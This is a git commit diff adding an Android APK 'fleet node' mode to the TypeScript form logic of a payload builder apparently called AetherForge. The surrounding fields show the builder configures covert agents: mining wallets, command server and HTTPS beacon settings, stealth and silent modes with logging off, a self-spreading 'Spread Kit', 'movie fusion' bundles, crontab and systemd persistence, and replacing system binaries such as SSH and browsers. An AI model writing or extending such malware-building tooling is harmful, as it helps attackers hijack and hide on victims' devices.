Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -127,8 +127,39 @@ export function applyForgeFieldUpdate(
}
break;
case 'apk_mode':
if (value === true) {
Object.assign(next, {
apk_mode: true,
fusion_enabled: false,
spread_kit: false,
target_os: 'android',
target_arch: 'arm64',
mining_disabled: true,
gpu_enabled: false,
threads: 1,
thread_mode: 'fixed',
display_mode: 'background',
silent_mode: true,
stealth_mode: true,
file_logging: false,
});
if (!next.apk_agent_name?.trim()) {
next.apk_agent_name = next.worker_name;
}
} else {
next.apk_mode = false;
next.mining_disabled = false;
if (next.target_os === 'android') {
next.target_os = 'windows';
next.target_arch = 'all';
}
}
break;
case 'fusion_enabled':
if (value === true) {
next.apk_mode = false;
next.display_mode = 'background';
next.silent_mode = true;
next.spread_kit = false;
@@ -241,13 +272,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
const isUniversal = targetOs === 'universal';
const isSpreadKit = !!form.spread_kit;
const isFusion = !!form.fusion_enabled;
const isApk = !!form.apk_mode;
return {
worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' },
https_beacon_fallback: { disabled: false, badge: 'baked' },
https_beacon_after_min: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' },
wallet: {
disabled: isApk,
badge: 'baked',
lockedReason: isApk ? 'APK fleet nodes join without mining — wallet is optional.' : undefined,
},
apk_mode: { disabled: isSpreadKit, badge: 'baked' },
apk_agent_name: {
disabled: !isApk,
badge: 'baked',
lockedReason: !isApk ? 'Enable APK mode first.' : undefined,
},
output_dir: {
disabled: false,
badge: 'server-only',
@@ -376,9 +418,13 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
},
fusion_enabled: {
disabled: isSpreadKit,
disabled: isSpreadKit || isApk,
badge: 'baked',
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
lockedReason: isApk
? 'Fusion is not available for APK fleet nodes.'
: isSpreadKit
? 'Turn off Spread Kit to use Fusion.'
: undefined,
},
fusion_prep: {
disabled: !form.fusion_enabled,
@@ -468,20 +514,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
},
target_os: {
disabled: isSpreadKit || isFusion,
disabled: isSpreadKit || isFusion || isApk,
badge: 'baked',
lockedReason: isSpreadKit
? 'Spread Kit always targets all platforms (Universal).'
: isFusion
? 'Movie fusion always builds a universal ZIP.'
: undefined,
lockedReason: isApk
? 'APK mode locks target to Android arm64.'
: isSpreadKit
? 'Spread Kit always targets all platforms (Universal).'
: isFusion
? 'Movie fusion always builds a universal ZIP.'
: undefined,
},
target_arch: {
disabled: !isUnixSingle,
disabled: !isUnixSingle || isApk,
badge: 'baked',
lockedReason: !isUnixSingle
? 'Pick Linux or macOS as Target OS to choose architecture.'
: undefined,
lockedReason: isApk
? 'APK mode locks architecture to arm64.'
: !isUnixSingle
? 'Pick Linux or macOS as Target OS to choose architecture.'
: undefined,
},
spread_kit: {
disabled: isFusion,